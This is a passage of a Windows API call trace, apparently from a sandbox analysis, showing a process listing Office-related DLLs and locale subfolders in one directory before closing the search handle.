	[0191.409] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0191.411] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.411] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0191.412] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.412] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0191.414] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.414] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0191.498] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.498] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0191.500] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.500] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0191.501] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.501] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0191.503] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.503] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0191.505] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.505] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0191.507] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.507] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0191.508] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.508] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0191.510] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.510] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0191.512] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.512] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0191.514] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.515] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0191.516] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.516] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0191.518] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.518] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0191.520] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.520] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0191.522] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.522] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0191.524] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.524] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0191.527] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.527] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0191.530] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.530] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0191.531] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.531] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0191.588] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.589] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0191.590] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.590] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0191.592] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.592] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0191.705] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.705] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0191.707] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.707] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0191.709] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.709] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0191.710] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.710] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0191.712] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.712] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0191.714] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.714] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0191.716] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.716] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0191.718] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.718] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0191.720] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.720] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0191.722] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.722] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0191.723] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.723] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0191.725] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.725] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0191.727] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.727] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0191.729] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.729] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0191.729] FindClose (in: hFindFile=0x3fb2118 | out: hFindFile=0x3fb2118) returned 1
